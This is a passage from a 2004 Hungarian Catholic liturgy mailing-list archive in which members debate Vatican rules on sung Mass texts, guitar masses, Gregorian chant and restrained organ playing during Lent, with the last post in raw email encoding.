hitelesen fejezik ki a liturgia üzenetét, mint az imádságok, az olvasmányok és a homília. Ha a hívő nép szélesebb körben használja azokat, legyenek kellőképpen állandók, hogy így elkerülhető legyen a zavar. A püspöki konferenciák az érintett nemzeti vagy egyházmegyei liturgikus bizottságok és más szakértők szükségszerű közreműködésével a jelen instrukció kiadásától számított öt éven belül gondoskodjanak a liturgikus éneklésre szánt szövegek direktóriumának vagy repertóriumának kiadásáról. Az ilyen repertóriumot a szükséges felülvizsgálat céljából el kell juttatni az Istentiszteleti és Szentségi Fegyelmi Kongregációhoz." Nos, huszonöt nap múlva ebből az öt évből immár a harmadik fog letelni. Érdemes volna megkérdezni a püspöki konferenciát, hogy időközben milyen lépéseket tett az Apostoli Szentszék ezen akaratának megvalósítására. További fontos szabályokat közöl az énekekről a 60-61. pont: "60. A liturgikus szövegek nagy részét azzal a szándékkal alkották meg, hogy a celebráló pap, a diakónus, a kántor, a nép vagy a szkóla énekelje őket. Ezért a szöveget úgy kell lefordítani, hogy alkalmas legyen a megzenésítésre. A szöveghez illő zene megkomponálása során ugyanakkor teljes mértékben ügyelni kell magának a szövegnek a tekintélyére, hogy sem a Szentírásból vett szövegek helyett, sem pedig a liturgiából átvett és már felülvizsgált szövegek helyett ne kerüljenek felhasználásra az énekelhetőség megkönnyítését célzó parafrázisok, sem pedig olyan himnuszokat ne használjanak helyettük, amelyeket műfajilag azonos értékűnek tartanának 61. A megzenésítésre szánt szövegek különleges jelentőséggel bírnak, mivel a szertartás ünnepélyességének érzetét oltják a hívekbe, és a hitben és szeretetben való egységet a hangok egysége által juttatják kifejezésre. A modern mintakiadásokban található himnuszok és kantikumok a Latin Egyház mérhetetlen történeti kincsestárának minimum-készletét alkotják és ezért igencsak érdemes megtartani őket a nemzeti nyelven kinyomtatott kiadásokban még a többi, közvetlenül nemzeti nyelven született művel együtt is. Az olyan éneklésre szánt szövegeket, amelyeket eleve egy adott nemzeti nyelven zenésítenek meg, leginkább a Szentírásból és a liturgia kincsestárából kell venni." E két bekezdés utolsó mondatai már nemcsak a gitáros vagy taizéi énekeket zárják ki a mise hivatalos repertóriumából, hanem a hagyományos népénekeket is, hiszen azok nem liturgikus, hanem paraliturgikus szövegek, amelyek eredetileg sem helyettesíteni, hanem kiegészíteni voltak hivatva az Egyház nyilvános istentiszteletét. Ezek mind olyanok, amelyeket egyesek "műfajilag azonos értékűnek tartanának" a liturgikus szövegekkel, valójában azonban nem azok, mert nélkülözik a liturgikus szövegeknek az instrukcióban részletesen ismeretetett sajátosságait. (Itt válaszolnám meg a Hozsanna-énekek kérdését. Ezek kivétel nélkül akkor születtek [l. a kotta előtti évszámot], amikor a szentmise mindenütt egységesen latin nyelven folyt, s ezért a hívek nem tudtak abba anyanyelvi szövegeikkel kellően belekapcsolódni. A "Dicsőségre" stb. megjelölésű versszakokat így a hivatalos liturgia kiegészítéseként, mintegy magánszorgalomból énekelték, és csak a kényelmesség vezetett oda, hogy ezek idővel kiszorították az eredeti latin tételeket. Attól kezdve, hogy a liturgikus miseszövegeknek van hivatalos magyar fordítása, ezek a paraliturgikus szövegek értelmüket veszítették. A Szentszék fel sem tételezte, hogy ezek valaha is ki fogják szorítani a hiteles liturgiát, az ilyen irányú engedélyek korábbi nagy számú megadása csak a helyi püspökök követelőzésének és az inkulturáció fogalmi tisztázatlanságának tulajdonítható. Napjainkra a VL és a LA, valamint nyomukban a Missale Romanum 3. mintakiadása világosan kijelöli a helyettesítő [nép]énekek szerepét, amely rendesen a szentmisén kívül van, azon belül pedig csak meghatározott tételek: a bevonulási, a felajánlási és az áldozási ének esetében jöhet szóba.) Úgy tűnik tehát, hogy a szentmise keretén belüli előadásra "leginkább a Szentírásból és a liturgia kincsestárából vett" szövegeket kell megzenésíteni. Ezek pontos meghatározása, valamint az esetleges ritmikai, rímbeli változtatások engedélyezése a püspöki konferencia, ill. az általa felállítandó szakbizottság feladata. Végül pedig szeretném ismételten hangsúlyozni: a szentmise állandó részei helyett egyszerűen nem lehet mást énekelni! Az ordinárium csak latin eredetiben vagy a jóváhagyott nemzeti nyelvű fordításokkal énekelhető, mással való helyettesítésére a liturgikus jog nem ad lehetőséget. "A pap magában elmondott imádsága" pedig különösen nem válthatja ki, hiszen az a közösség együttes aktusa (mint pl. a hit megvallása a "Halálodat hiredtjük, Urunk" akklamációval), nem pedig a papnak a közösség nevében végzett egyéni aktusa (mint pl. a pap imádságai a kánont is beleértve, a Miatyánkot azonban kivéve, amelyeket éppen ezért a híveknek nem is szabad vele együtt mondaniuk). Roppantul sajnálom, de nem tudok mást mondani, mint hogy az ún. gitáros misék, amennyiben az ordináriumot nem az előírt liturgikus szövegekre éneklik, e tekintetben messzemenően jogellenesek, aki pedig bemutatja őket, jobb esetben a tudatlanság, rosszabb esetben az Egyházzal szembeni engedetlenség és szeretetlenség állapotában leledzik. Valóban sokkal több felvilágosításra, tanításra és jó példára van szükség, ezeket azonban szívesebben hagynám másokra. Részemről legyen elég annyi, hogy a hatályos jog (nem kimondottan egyszerű és nem is túl ismert) állapotát ismertettem - egyesek számára már ez is elviselhetetlenül soknak tűnik. Mindezt történetileg megindokolni, teológiailag alátámasztani és hiteles formában, megélten bemutatni lényegesen nehezebb feladat. Üdvözlettel: Rihmer Zoltán From kovacser@tippnet.co.yu Thu Mar 4 14:52:59 2004 From: kovacser@tippnet.co.yu (kovacser) Date: Thu, 4 Mar 2004 15:52:59 +0100 Subject: [Liturgia] =?iso-8859-2?B?bGl0dXJnaeFy82wsIGVneWjhenLzbCwgdmls4Wdy82w=?= Message-ID: <000b01c401f8$64c0f160$9234c8d4@racunar> Kedves Listatagok! Bocsánat, hogy már megint jelentkezem, de az elmúlt napokban elhangzott számos gondolat egyszerűen nem hagy nyugodni. A hamvazás és a nagyböjti orgonaszó praktikus kérdéseiből indultunk ki, most pedig már egyházképnél, istenképnél, világképnél, életfilozófiánál tartunk. A liturgikus kérdések úgy tűnik csak a jéghegy csúcsát jelentik. Ezért bocsássák meg nekem embertelenül hosszú írásomat. Számos hozzászólásból tanultam. Nagy haszonnal olvastam Rihmer úr kimerítő jogi összefoglalását, hiszen ahol a kérdés így kezdődik: "szabad - e", ott a jogra, a szabályra és törvényre kérdeznek rá és nem a véleményre. Köszönöm, hogy emlékezetembe idézte az editio typica helyes magyar fordítását: mintakiadás. Roppant építők voltak Kosóczki úr gondolatai is. Bárcsak minden orgonistánál így párosulna a szakmai tudás az alázattal és egyházias érzülettel. Tisztelt névrokonommal is egyetértek több dologban. A népéneket valóban tempósabban kellene vezetnie az orgonistának, és a SzvU kíséretei bizonyára reformra szorulnak, hiszen sokszor szinte bénítják az ének lendületét és természetes ritmusát. A szövegek is olykor szentimentálisak, csöpögősek, sőt néhol tévtanítást tartalmaznak. ("Az oltárnak Golgotáján újra meghal most a Bárány" - akkor minden pap naponta istengyikosságot követ el. A szentmise azonban nem a keresztáldozat megismétlése, hanem megújító megjelenítése, és ez nem ugyanaz.) Ezzel nem tagadom az énekeskönyv kétségtelen értékeit és történelmi érdemeit, de mára ez kevés. Mindezek után viszont szóvá kell tenni bizonyos tárgyi tévedéseket és számomra kétes felfogásokat. "Még korábban az volt a felfogás, hogy csendnek NEM VOLT SZABAD lennie a szentmisén." Lehet hogy énekes misén a gyakorlat ez volt, de előírás nem. Hiszen a Zsinat előtti korban igen gyakoriak voltak a csendes misék (orgona és ének nélkül), ahol a szöveg kétharmadát nem is lehetett hallani, mivel a pap suttogva imádkozta. Az úrfelmutatás alatti csengő is azt a célt szolgálta, hogy a hívek a nagy csönd közepén figyeljenek fel az átváltoztatás megtörténtére és a szent színek imádására. " Véleményem szerint lassan (tulajdonképpen gyorsan) el kellene a keresztény egyházaknak jutniuk odáig, hogy nem a külsöségek és a hagyományok számítanak, hanem ami összeköt. A többi csak ragaszkodás valamihez, amiröl mi magunk sem tudjuk, hogy úgy van-e, ahogy hisszük. Istent nem lehet törvényekbe és dogmákba foglalni. Ö arra is képes, hogy felborítsa az istenképünket, és megtanítsa, hogy Neked is lehet igazad és nekem is lehet igazam, még akkor is, ha józan ésszel a kettö nem egyeztethető össze." Isten úgy határozott, hogy emberi szóban, egy konkrét nép történetében kinyilatkoztatja önmagát, majd saját maga is egy konkrét történelmi emberben megtestesült. Vállalta az emberi értelem és beszéd korlátait, szilárd törvényeket adott és igazságokat, emberi nyelvbe, hagyományba zárva. Olyan formákba beletestesítve, melyek nem cserélhetők fel tetszés szerint másokkal a tartalom súlyos sérelme nélkül. Egyházat alapított és elküldte számára a Szentlelket, hogy az igazság őre lehessen. Az Egyház a történelem folyamán konkrét emberi megfogalmazásba testesítette bele a hit igazságait és az erkölcsi élet törvényeit, sőt továbbgondolta azokat, egyfajta organikus fejlődéssel kibontva a további dogmákat. Nyelvi eszközül a görög - római gyökerű európai (plátoni és arisztotelészi) filozófiát használta, bizonyára nem a Szentlélek sugallata nélkül, hiszen ez a filozófiai rendszer és a görög ill. latin nyelv egyedülállóan pontosak, alkalmasak a hajszálvékony árnyalatok és megkülömböztetések kifejezésére, így tisztán őrzik, minden kor, minden kultúra embere számára megérthető módon rögzítik a kinyilatkoztatott igazságokat. A hitünk tehát objektív, rögzített igazságokra, a hitletéteményre épül, melyet a Szentírás és a szent hagyomány tartalmaz, nem pedig szubjektív véleményekre, érzésekre és katarktikus élményekre. Ha tehát leszűkítenénk a vallást egy dogma és törvény nélküli közös nevezőre, ahol csak az számít amiben mindenki egyetért, akkor ez nagyon távol esne Krisztus szándékától. Emberi egylet és nem isteni intézmény lenne. Maga Isten akarja azt, hogy üzenete az emberi értelem és logika számára is felfogható, világos, ellentmondások nélküli legyen. A misztériumot persze kimerítően megérteni nem tudjuk, de a misztérium sem lehet logikailag abszurd. Négyszögletes kört Isten sem tud alkotni, mivel ez ellentmondana az általa alkotott természetes logikai rendnek. Sokat segítene a tisztánlátásban Isten Szolgájának, John Henry Newman bíboros írásainak olvasása, aki anglikán lelkészből indulva a katolikus egyházban fedezte fel Krisztus egyetlen igaz nyáját. "Liberalizmus a vallásban azt jelenti, hogy a vallásban nem létezik pozitív igazság. Egyik hitvallás éppen olyan jó, mint a másik. A kinyilatkoztatott vallás nem igazság, hanem érzelem és ízlés kérdése, nem objektív valóság és nem természetfeletti. Mindenkinek joga azt kifejezésre juttatni, ami éppen fantáziájának legjobban megfelel. Járhatunk egyaránt protestáns és katolikus templomba, mindkettőtől jót kapunk és nem kell egyikhez sem tartoznunk. Az emberek lelki beszélgetésekben és érzelmekben testvéri módon együtt lehetnek anélkül, hogy akár csak egy pillantást is vetnének valamelyik tanra vagy annak szükségét érintenék. Soha nem volt az ellenségnek olyan terve, melyet ilyen ravaszul terveltek volna ki és ilyen nagy eredményt igért volna." "A római közösség az egyetlen igaz Egyház, az üdvösség bárkája. Ez nem jelenti azt, hogy az Egyházon kívül élők egyike sem üdvözülhet, hanem azt: nincs más közösség vagy testület, mely az Ígéretek birtokában lenne." " Angliában a római Egyházon kívül egyetlen vallásos testület nem formálhat jogot arra, hogy annak az Egyháznak tartsák, melyet Urunk kezdetben alapított." Ezt az embert már a XIX század végén is üldözték világos beszéde és felfogása miatt, de ma folyamatban van boldoggáavatása. Aki csak belelapoz pl. a műveiből összevállogatott "Az Anyaszentegyház Misztériuma" című könyecskébe, máris felfedezi zsenialitását. (Efo kiadó, 1998) Úgy vélem, az egyházon belüli dogmatikus, morális, liturgikus vitáknak is ez a legmélyebb háttere, hogy itt egy szubjektív, relativista, atropocentrikus, agnosztikus érzés - vallásosság harcol az objektív, értelmes alapú, Isten, kinyilatkoztatás és transzcendencia központú doktrinális vallással. A helyzet az, hogy az utóbbi út a Szentírás, az egyházatyák, a szentek vallása, az előbbi a nagy lázadoké, forradalmároké, szakadároké és tévtanítóké. Ez megmagyaráz sok mindent az egyház és a társadalom múltjából és jelenéből. Newman: "Miben áll ma a "világ vallása"? Mindenekelőtt az evangélium fényesebb oldalait: vigasztaló jóhíreit, a szeretet parancsát ragadta ki, a többi sötétebb, az emberi lét súlyosabb helyzetének és következményeinek mélyeséges szemlélése pedig lassanként feledésbe merül. Ez az a vallás, mely a civilizált kor számára magától értetődő és természetes. Ügyesen szerkesztette meg a gonosz lélek, mert az igazság csalóka képévé formálta." Összefoglalva: "Az Egyház tanítása tényeken és nem véleményeken alapszik, objektív igazságokon és nem változó érzelmeken, ősrégi tanúságon nem pedig egyéni ítéleten, meggyőződéseken és fölismeréseken, de nem döntéseken." Ha az objektív isteni rendet elutasítjuk, akkor az emberek egymástól egyre távolodó magánvéleménye teljes anarchiát fog okozni: szétesik az egyház, a család, a társadalom. Mivel pedig az ember közösség nélkül nem tud élni, a közöség pedig közös törvény nélkül nem létezhet, a leghangosabbak és legerőszakosabbak ragadják meg a hatalmat és olyan diktatórikusan telepszenek a többiek nyakára, hogy ahhoz képest a középkori inkvizíció módszerei szegénygondozó irgalmasnővérek bánásmódjához hasonlíthatók. Én már életemben tapasztaltam a szabadelvűek diktatúrájának vaskezét. Ne tudja meg senki milyen érzés! Magánvallással, magánerkölcsel és magánliturgiával csak egy magánistenhez lehet eljutni, aki nem az igaz és élő Isten, Atya, Fiú, Szentlélek, hanem bálvány. Az igazság és a helyesség kérdéseiben soha nem a szám a döntő, a többség felfogása és gyakorlata, mert akkor rég az ördögé lenne a győzelem. "Mi a helyzet a Bibliában szereplő utalásokkal: pengő húrok, harsonák, dobok esetében? A Biblia a nagyobb úr, vagy a X. Pius pápai rendelkezése? Ez is hit és erkölcs dolga?" Nagyon veszélyes dolog a Bibliával érvelni az Egyház és a pápa ellen. A Bibliát az Egyház írta, őrizte, magyarázza és adja a kezünkbe. Előbb volt az egyház tradíciója, mint a Biblia. Ebben megegyezik az ortodox és a katolikus egyház. (És hiába szakadt el az ortodoxia korábban Rómától, mint a protestantizmus; de ez utóbbiaval ellentétben megőrizte a teljes apostoli hitletéteményt, a hét szentséget és az érvényes püspök és papszentelések sorozatát. Ezért a hiteles tanítás keresésében inkább az ortodoxiát kell segítségül hívni, mint a protestantizmust.) A Bibliát csak akkor értjük helyesen, ha figyelembe vesszük az apostoli és őskeresztény hagyomány szerinti értelmezését, továbbá a 3000 évvel ezelőtti zsidó kultúrát és felfogást, mint a szöveg születésének körülményeit. Akkor a szent és a profán még nem különült el egymástól úgy, mint a mai nyugati szabadelvű szekularizált társadalomban. Akkor mindent átjárt a "szent" légköre a zenét is beleértve. Pl. az Énekek éneke is mai szemmel nézve egy profán szerelmes dal, néhol erős szexuális utalásokkal. A zsidó felfogás mégis szentnek tartotta és bevette a Bibliába, mert meglátta benne Isten és az ő népe kapcsolatának leírását. Az ószövetségi korral ellentétben ma mindent átjár a profán "kultúra", még a liturgiába is be akar férkőzni. Némely gitáros mise sokkal inkább idézi a diszkók és rockkonceretek hangulatát, mint a transzcendenciát, az elmélyülést és imádságos szemlélődést. A rock ritmusnak üzenete az érzékek, ösztönök és az önző ÉN lázadása az objektív isteni, egyházi, társadalmi rend ellen. Ezért profán stílus. Az extatikus élmény előidézése pedig nem célja a liturgiának, mivel a liturgia természetéből kifolyólag józan, visszafogott, antiextatikus. Logiké latreia = értelmes hódolat. A tombolás a pogány természet- és termékenységi kultuszokra volt jellemző. Mi nem természeti energiákat, életerőket imádunk, hanem az Igét (Logosz), aki minden értemes dolog és a rend alapja. A Lélek ha okoz is mámort, de csak józant (Szt. Ambrus: laeti bibamus sobriam ebrietatem Spiritus = igyuk magunkba boldogan a Lélek józan mámorát.) X Piusz pápa pedig szent volt és nagyot alkotott nemcsak az egyházzene és lelkipásztorkodás területén, hanem a XX század elején prófétai jövőbelátással pontosan felismerte azokat az irányzatokat és magatartásokat, melyek ellen Newman is harcolt, és melyek mára kiölték az emberek szívéből a hitet, az egyházias érzületet és a mai nyugati jóléti társadalmakat a morális káosz és a biológiai kihalás szélére sodorták (a statisztikák szerint az utolsó európai 400 év múlva fog megszületni, az utolsó magyar pedig csak 200 év múlva a jelenlegi születésszám, abortuszok, válások, vadházasságok, homoszexuális kapcsolatok, promiszkuitás, kábítószerezés, italozás stb. mellett). A gitáros misékre visszatérve, az én plébániámon van egy csapat fiatal, akik egy korábbi plébános idején megszerették a gitáros stílust és áldozás után el - elénekelnek egy - egy gitáros dalt. Én nem tiltottam meg nekik, sőt irántuk való szeretetből velük éneklek. Mikor a korábbi énekek mellett bevezettem a gregorián énekeket, lázadtak: "nem bírom tovább, ez nem embernek való". De láss csodát! Két hónap elteltével ők lettek az előénekesek és egyikük megvalotta: "Most már látom, hogy ez a gregorián valóban fenséges". Egyikük sem távolodott el a templomtól vagy a hittől. A nénikkel is szeretetből együtt éneklem kedvenc énekeiket ("vértől ázott keresztfa ágára csorg az angyal könnyeinek árja stb."), hiszen ők már 50 éve mély átéléssel és hittel éneklik ezeket. De semmiképpen sem fogom ezeket a giccses dalokat a liturgikus ének csúcsának és forrásának mondani, nem harcolok azért, hogy hivatalos és legitim helyet kapjanak az Egyház liturgiájában és a jövendő nemzedéknek sem ezeket fogom tanítani hiteles egyházzene címmel. És őszintén remélem, hogy a hívő emberek még akkor is a misét fogják választani a kirándulás és a mozi helyett, ha a misén csapnivaló prédikációt és ahhoz illő zenét hallanak. Mert a misére a hívő emberek (közülük az is, aki normális) nem az élmény, hanem az Isten miatt mennek el, aki ott jelen van vere, realiter et supstantialiter, még ha minősíthetetlenül pocsék zene és beszéd is veszi körül. De hogy a mise külső formája a belső tartalomhoz méltó legyen, az már a mi felelőségünk. Mint ahogy az is, hogy a hiteles tartalmat ne cseréljük fel saját tákolt bálványainkal, istenített önmagunkkal. Kovács Ervin, a falusi pap From Bednarik_Anasztazia@level.datanet.hu Thu Mar 4 18:36:15 2004 From: Bednarik_Anasztazia@level.datanet.hu (Bednarik_Anasztazia@level.datanet.hu) Date: Thu, 4 Mar 2004 19:36:15 +0100 Subject: [Liturgia] =?iso-8859-2?Q?nagyb=F6jt?= Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C4021F.F9CB2BA0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Falusi Pap, Kos=F3cki Tam=E1s =E9s minden Listatag! =20 Sokan sz=F3ltak m=E1r el=F5ttem kedveset =E9s kev=E9sb=E9 kedveset, = okosat =E9s kev=E9sb=E9 okosat. Jogilag is megv=E1laszoltak m=E1r kimer=EDt=F5en = mindent. Amit =E9n hozz=E1tenn=E9k az szubjekt=EDv lesz, rem=E9lem az=E9rt majd = megbocs=E1ttatik ez nekem. Engem szem=E9ly szerint leny=FBg=F6z az Egyh=E1z egys=E9ge. B=E1rhov=E1 = megy is be az ember, ugyanannak a miszt=E9riumnak vagyunk r=E9szesei, ugyanaz a = szentmise, legfeljebb m=E1s nyelven mondj=E1k. T=F6bbsz=F6r meg=E9ltem m=E1r, hogy = m=E9g egy mag=E1nyos idegenben tart=F3zkod=E1s sor=E1n is "hazamegy" az ember a = templomba. Lehet, hogy m=E1st =E9nekelnek, lehet, hogy n=E9h=E1ny szok=E1s m=E1s, = lehet, hogy nem t=E9rdelnek le, de pld. fel=E1llnak a tisztelet jelek=E9nt olyan r=E9szekn=E9l, ahol nek=FCnk is fel kellene idehaza =E1llnunk.M=E9gis = otthon van az ember a vil=E1g b=E1rmely szentmis=E9j=E9n, =E9s b=E1rmely = templom=E1ban. Komoly kincs=FCnk ez. Tal=E1n nem kellene ellene tenn=FCnk. Az egyh=E1zi szolg=E1lat bizony al=E1zatot k=F6vetel. Ez=E9rt kell = elolvasni a k=E1ntornak is(!) a misek=F6nyv =E9s a direkt=F3rium el=F5=EDr=E1sait, = hiszen mindent nem lehet fejb=F5l tudni.(gyakorlati tapasztalatom, hogy a papok is el kell olvass=E1k,hiszen =F5k sem tudhatnak mindent "kotta n=E9lk=FCl") = Ez=E9rt kell k=E9zbevenni az Adoremus f=FCzetet, amelyben p=E9ld=E1ul az omin=F3zus hamvaz=F3szerda is benne volt. =D6rvendetes, hogy egyre ink=E1bb helyet = kapnak benne a gyakorlati tudnival=F3k is, hiszen nem mindenkinek van odahaza misek=F6nyve.Az =E1ltal=E1nos rendelkez=E9sek sem =E1rtan=E1nak meg a = sz=E9lesebb k=F6z=F6ns=E9gnek sem, azt hiszem.... Mivel magam is tan=EDtok k=E1ntork=E9pz=F5t=F5l a karnagyk=E9pz=F5ig, = valamint k=E1ntorkodom is r=E1ad=E1sul a "m=FBv=E9szked=E9si ingerenci=E1val = meg=E1ldott" orgonam=FBv=E9sz kateg=F3ri=E1ba is tartozom =E9rintett vagyok az = orgon=E1l=E1s t=E9m=E1ban. Gyerekkoromt=F3l fontos az "orgonab=F6jt" l=E9te. Akkor = m=E9g csak sajn=E1ltam, hogy =E9desap=E1m mellett =E9ppen nem adhattam el=F5 els=F5 "zseng=E9imet". De ann=E1l nagyobb volt a H=FAsv=E9ti Vigilia =F6r=F6me. = Sz=E1momra ma is az. F=E9ny, =D6r=F6m=E9nek, majd megsz=F3lal az orgona =E9s a = harangok, visszakapjuk az alleluj=E1t. (Persze, ha a gregori=E1n allelujakincset =E9nekeln=E9nk, =E9s nem a r=F6vid=EDtett p=F3tl=E9kokat, akkor = feltehet=F5en jobban =E9rezn=E9nk hi=E1ny=E1t is....)=20 Az ember =E9rz=E9kei is r=E9szt vesznek a liturgi=E1ban. Ez val=F3s = tapasztalat. A gyerekkor az egyik legjobb p=E9lda: eml=E9kezz=FCnk csak vissza, hogy = micsoda =E9lm=E9ny volt pld.a hamvaz=E1s, az =E9telszentel=E9s H=FAsv=E9t reggel = (v=E1rosban laktam!!!) vagy b=E1rmilyen egy=E9b "elt=E9r=F5" cselekm=E9ny vagy jel. = Az orgon=E1l=E1s visszafogotts=E1ga igenis jel, igenis "h=EDr=E9rt=E9k=FB"! = Csak annyir=F3l sz=F3l: hogy ember legy=E9l csendesebb. A nagyb=F6jti id=F5 val=F3ban = nem a szomorkod=E1s ideje, de igenis ideje a k=E9sz=FCletnek, a = b=FBnb=E1natnak. (ezen a t=E9ren lehet, hogy m=E9gis van mit szomorkodnunk...). =D6r=F6m=FCnk ott = van, hogy megv=E1ltottak minket, hogy bocs=E1natot nyernek b=FBneink.=20 Tan=EDtv=E1nyaimnak sz=E1mtalanszor ism=E9tlem, hogy az =E9neket nem a = sarokban megb=FAjva csukott red=F5nyben orgon=E1lva =E9s =E9nekelve (sic!) kell = k=EDs=E9rgetni, hanem vezetni kell. Meg is rovom =F5ket,ha v=E9letlen=FCl "lebuknak". = Saj=E1t tapasztalat (mivel nem a lass=FA =E9nekvezet=E9sr=F5l vagyok h=EDres), = hogy ha b=E1rki m=E1s helyettes=EDt azt mondj=E1k a h=EDvek: bizonytalans=E1gban = =E9rezt=FCk magunkat. A probl=E9ma term=E9szetesen ott van, hogy annyira kell tudni orgon=E1lni, hogy merj=FCnk hallhat=F3an j=E1tszani. Annyira kell tudni orgon=E1lni, hogy egy ma m=E1r nem j=F3 l=FCktet=E9sben megharmoniz=E1lt = =E9neket tudjunk mondjuk negyedel=E9s helyett f=E9lkotta =E9rt=E9k=FB = harm=F3ni=E1kkal k=EDs=E9rni. Tess=E9k kipr=F3b=E1lni, az emberek ritmus=E9rz=E9ke nem pocs=E9k: azt = csak mi tessz=FCk azz=E1!=20 S=FAlyos elmarad=E1s van az =E9nekk=EDs=E9retek =FAj=EDt=E1sa ter=E9n, = s=FAlyos elmarad=E1s van a k=E1ntorok, orgonist=E1kkal szembeni szakmai elv=E1r=E1sok =E9s az = =E9rte j=E1r=F3 fizets=E9gek ter=E9n, de mondjuk el azt is, hogy m=E9g mindig vannak = papok is, akik nem engednek zsolt=E1rt =E9nekelni, m=E9g mindig k=F6telezik a = k=E1ntort arra, hogy ordin=E1rium helyett n=E9p=E9neket =E9nekeljen vagy ne merjen = Glori=E1t =E9nekelni, majd elszavalj=E1k... =C9s ehhez nem kell az =FAt v=E9gi = faluba menni.... (ott ugyanis sokszor szebb a liturgia, mint n=E9h=E1ny = v=E1rosi helyen.) Kell =E9s lehets=E9ges azonban =E9neket tan=EDtani az embereknek, = lehets=E9ges nevelni =F5ket. Csak elhivatotts=E1g k=E9rd=E9se.=20 Ne felejts=FCk el azt sem, hogy volt az a bizonyos 40 =E9v is. Leszoktak = a sz=EDnvonalr=F3l, mert az =F6regek kihaltak, helyett=FCk meg = =F6r=FCltek, hogy valaki olyan oda=FClt az orgon=E1hoz, aki valaha n=E9h=E1ny =E9vet = zongor=E1zott. Ez a helyzet sajnos konzerv=E1l=F3dott. Aki meg k=E9pzett muzsikus, ebb=F5l = ugyan meg nem =E9l. Ez a gondolatmenet messze vezet azonban. A git=E1ros mis=E9kr=F5l Kov=E1cs Ervin sz=EDvemb=F5l sz=F3lt. Azt = szoktam mondani: mi k=FCl=F6nb=F6zteti meg a git=E1ros =E9nekeket egy vil=E1gi egy=FCttes = sz=E1mait=F3l? Semmi! Mert ha mondjuk angolul =E9nekeln=E9nek, akkor a zen=E9j=E9b=F5l = bizony nem der=FClne ki, hogy nem vulg=E1ris, net=E1n =E9rz=E9kis=E9get sugall=F3 = dalr=F3l van sz=F3, azaz a zene prof=E1n. (Term=E9szetesen ezzel nem azt mondtam, = hogy a n=E9p=E9nekek t=F6k=E9letes sz=F6veg=FBek =E9s dallam=FAak! Ez azonban = k=FCl=F6n t=E9ma lenne.) Hossz=FAra ny=FAltam, eln=E9z=E9st k=E9rek. =20 Mindenkinek sz=E9p,csendes nagyb=F6jt=F6t k=EDv=E1nok! Bednarik Anaszt=E1zia =20 =20 =20 Bednarik Anaszt=E1zia =20 ------=_NextPart_000_0000_01C4021F.F9CB2BA0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Kedves Falusi Pap, Kos=F3cki Tam=E1s =E9s minden = Listatag!

 

Sokan sz=F3ltak m=E1r el=F5ttem kedveset =E9s = kev=E9sb=E9 kedveset, okosat =E9s kev=E9sb=E9 okosat. Jogilag is megv=E1laszoltak m=E1r = kimer=EDt=F5en mindent. Amit =E9n hozz=E1tenn=E9k az szubjekt=EDv lesz, rem=E9lem az=E9rt majd = =A0megbocs=E1ttatik ez nekem.

Engem szem=E9ly szerint leny=FBg=F6z az Egyh=E1z = egys=E9ge. B=E1rhov=E1 megy is be az ember, ugyanannak a miszt=E9riumnak vagyunk r=E9szesei, = ugyanaz a szentmise, legfeljebb m=E1s nyelven mondj=E1k. T=F6bbsz=F6r meg=E9ltem = m=E1r, hogy m=E9g egy mag=E1nyos idegenben tart=F3zkod=E1s sor=E1n is „hazamegy” = az ember a templomba. Lehet, hogy m=E1st =E9nekelnek, lehet, hogy n=E9h=E1ny = szok=E1s m=E1s, lehet, hogy nem t=E9rdelnek le, de pld. fel=E1llnak a tisztelet jelek=E9nt = olyan r=E9szekn=E9l, ahol nek=FCnk is fel kellene idehaza =E1llnunk.M=E9gis otthon van az = ember a vil=E1g b=E1rmely szentmis=E9j=E9n, =E9s b=E1rmely templom=E1ban. Komoly = kincs=FCnk ez. Tal=E1n nem kellene ellene tenn=FCnk.

Az egyh=E1zi szolg=E1lat bizony al=E1zatot k=F6vetel. = Ez=E9rt kell elolvasni a k=E1ntornak is(!) a misek=F6nyv =E9s a direkt=F3rium = el=F5=EDr=E1sait, hiszen mindent nem lehet fejb=F5l tudni.(gyakorlati tapasztalatom, hogy a papok = is el kell olvass=E1k,hiszen =F5k sem tudhatnak mindent „kotta = n=E9lk=FCl”) Ez=E9rt kell k=E9zbevenni az Adoremus f=FCzetet, amelyben p=E9ld=E1ul az omin=F3zus = hamvaz=F3szerda is benne volt. =D6rvendetes, hogy egyre ink=E1bb helyet kapnak benne a = gyakorlati tudnival=F3k is, hiszen nem mindenkinek van odahaza misek=F6nyve.Az = =E1ltal=E1nos rendelkez=E9sek sem =E1rtan=E1nak meg a sz=E9lesebb k=F6z=F6ns=E9gnek = sem, azt hiszem....

Mivel magam is tan=EDtok k=E1ntork=E9pz=F5t=F5l a = karnagyk=E9pz=F5ig, valamint k=E1ntorkodom is r=E1ad=E1sul a „m=FBv=E9szked=E9si = ingerenci=E1val meg=E1ldott” orgonam=FBv=E9sz kateg=F3ri=E1ba is tartozom =E9rintett vagyok az = orgon=E1l=E1s t=E9m=E1ban. Gyerekkoromt=F3l fontos az „orgonab=F6jt” l=E9te. Akkor = m=E9g csak sajn=E1ltam, hogy =E9desap=E1m mellett =E9ppen nem adhattam el=F5 els=F5 = „zseng=E9imet”. De ann=E1l nagyobb volt a H=FAsv=E9ti Vigilia =F6r=F6me. Sz=E1momra ma = is az. F=E9ny, =D6r=F6m=E9nek, majd megsz=F3lal az orgona =E9s a harangok, visszakapjuk = az alleluj=E1t. (Persze, ha a gregori=E1n allelujakincset =E9nekeln=E9nk, =E9s nem a = r=F6vid=EDtett p=F3tl=E9kokat, akkor feltehet=F5en jobban =E9rezn=E9nk hi=E1ny=E1t is....) =

